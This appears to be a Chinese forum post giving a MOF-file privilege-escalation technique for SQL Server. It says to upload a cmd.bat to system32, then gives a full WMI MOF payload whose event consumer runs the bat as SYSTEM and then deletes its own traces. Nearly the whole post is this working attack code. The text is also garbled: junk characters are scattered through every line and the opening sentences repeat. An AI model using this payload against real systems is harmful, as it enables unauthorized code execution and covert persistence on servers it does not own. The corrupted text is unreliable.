这个sql提权MOF需要运行 system下的文件,不能定义路径。9 ~! D5 A9 m" H6 o( f) u+ n; e
需要将要运行的命令写入到bat上传到system32目录,然后执行。6 e e& n5 J' C6 Y9 `9 f) E
$ \$ ]- g3 T0 \; M3 o1 z9 ^, E$ a这个sql提权MOF需要运行 system下的文件,不能定义路径。$ f2 p. @; q' y! Y
需要将要运行的命令写入到bat上传到system32目录,然后执行。9 @0 t4 |& y' t4 ^6 W* }/ J
% k6 b k3 b6 m( O& \9 _+ h#pragma8 g. F2 u$ ]3 @" |: v
namespace("\\\\.\\root\\cimv2")
$ H" m6 {6 i; q% Z* v" `+ Z6 L class
- ?+ C- z& f! R MyClass547
: c4 D- D4 D3 M9 L: ? { [key]
# f- {& K2 k* L& g+ ~/ c7 h string3 d4 d$ b: g( C, j }+ s0 v
Name;
. L6 y7 N. ?# n) R* v3 U };/ _$ R4 d- e7 f! r4 H* v$ t$ W' i9 o+ u
class9 N& I0 }3 r1 y: b
ActiveScriptEventConsumer
: c2 ` V2 y5 w : __EventConsumer { [key]
* t& _2 K* U" m4 C+ |* p) h& I6 s string# h/ p- z3 I8 `$ l" t8 n
Name; [not_null]& z8 Y* X" O+ I6 Z7 t) o
string
) ^7 g5 y @! Q! h ScriptingEngine; string3 V0 [% [% R6 h/ }1 X5 [% i4 y6 b; Q
ScriptFileName; [template]% [+ T e- B6 t g3 j: s+ Z
string' j4 o1 T- G5 W4 H
ScriptText; uint32 KillTimeout;
# p- w4 b4 m' f0 [ }; instance of __Win32Provider as $P { V: A) c6 ]* I( W) M
Name) J3 h0 k5 U4 y' G/ _ o- m4 O
=- f6 B' ~" C& T l L- @; Q
"ActiveScriptEventConsumer"; CLSID =7 Q; @" T/ M, L6 u5 K9 h
"{266c72e7-62e8-11d1-ad89-00c04fd8fdff}";
# q e9 c; a/ m PerUserInitialization7 L3 L8 o; K5 v4 v/ z* a( S
= TRUE;; [* ~ y* E2 e& f% o$ R9 S
}; instance of __EventConsumerProviderRegistration { Provider
$ A& [3 _% _) ^ = $P; ConsumerClassNames* h/ [5 i. {7 K& B& v* |. H" P
=2 b* s# n) F* G2 s% r5 N
{"ActiveScriptEventConsumer"};
3 r& I! P* T' `% c0 h0 n$ {0 _: I2 P };
7 X3 K8 ?% | U" N4 d0 X Instance of ActiveScriptEventConsumer
/ x3 K4 r, S- a! N" o- v as $cons { Name8 U2 y' w, W9 j$ n9 _2 I4 p
=
2 {: m, z1 E; h3 ?% ~- N "ASEC"; ScriptingEngine
' ~" Q* N2 S; I2 @9 x =5 V. R v/ z' p0 W0 `
"JScript"; ScriptText
# x+ H" S( d1 ], ` =# Z* z0 g# h. m. b
"\ntry {var s = new ActiveXObject(\"Wscript.Shell\");\ns.Run(\"cmd.bat\");} catch (err) {};\nsv = GetObject(\"winmgmts:root\\\\cimv2\");try {sv.Delete(\"MyClass547\");} catch (err) {};try {sv.Delete(\"__EventFilter.Name='instfilt'\");} catch (err) {};try {sv.Delete(\"ActiveScriptEventConsumer.Name='ASEC'\");} catch(err) {};"; };6 u: Y- {4 d Z, f5 c
Instance of ActiveScriptEventConsumer; B: n, o$ _9 K( X: H* ?
as $cons2 { Name# u1 h- i7 _' K6 B6 `0 j' V
=
# P( V0 ]* K, R3 L "qndASEC"; ScriptingEngine
8 g' l: e4 Y% [; O% O =$ p% ~* \( K) E, A: @1 P- @
"JScript"; ScriptText3 g9 H8 a1 w! b1 k3 i
=
. N& N' g$ y5 a5 b: I/ x "\nvar objfs = new ActiveXObject(\"Scripting.FileSystemObject\");\ntry {var f1 = objfs.GetFile(\"wbem\\\\mof\\\\good\\\\hBsBa.mof\");\nf1.Delete(true);} catch(err) {};\ntry {\nvar f2 = objfs.GetFile(\"cmd.bat\");\nf2.Delete(true);\nvar s = GetObject(\"winmgmts:root\\\\cimv2\");s.Delete(\"__EventFilter.Name='qndfilt'\");s.Delete(\"ActiveScriptEventConsumer.Name='qndASEC'\");\n} catch(err) {};";
9 `% W/ z' v) Y% n' U3 ? P* S% N }; instance of __EventFilter as $Filt { Name# Q) o" ?+ }, t P. M( T( k5 ~
=" m- \, j1 }( f `
"instfilt"; Query$ A R$ T* g3 G& n
=7 n. _1 q9 m, m; [ H, \9 F4 ?9 j
"SELECT * FROM __InstanceCreationEvent WHERE TargetInstance.__class = \"MyClass547\""; QueryLanguage
+ Z8 Y* B5 W8 E, }% k7 |$ {& v7 }$ Y5 B =
5 [) I9 {+ J4 v "WQL"; }; instance of __EventFilter as $Filt2 { Name X! j; m% J* F2 W/ O0 ?8 v
=4 X; c# E" _" q( G3 U! O! c
"qndfilt"; Query
' X$ ^5 \" w1 y; F =
' o$ m# `* P( D9 ^3 M* A2 [ "SELECT * FROM __InstanceDeletionEvent WITHIN 1 WHERE TargetInstance ISA \"Win32_Process\" AND TargetInstance.Name = \"cmd.bat\""; QueryLanguage* X1 H8 Z! D# N
=8 _6 s/ z) T& v+ g
"WQL"; }; instance of __FilterToConsumerBinding as $bind { Consumer+ i7 ]7 X) q. P/ O+ M. q2 l/ S
= $cons; Filter* i0 b% R: j0 I- Q
= $Filt;
3 a0 j9 b0 z @" a9 h }; instance of __FilterToConsumerBinding as $bind2 { Consumer
: q' h7 a8 l \9 T = $cons2; Filter
8 c/ M; N" \; E" A; X& p = $Filt2;
- O& _1 R/ q. z* p }; instance of MyClass547
0 ~' g$ H' @8 T. k6 m3 [1 k% Y6 Z as $MyClass { Name
Q1 G7 L i5 f) ~ =
) U. @' ? H% O: O "ClassConsumer";
7 A1 Z$ p2 m! }. u4 Q% w" D3 a }; |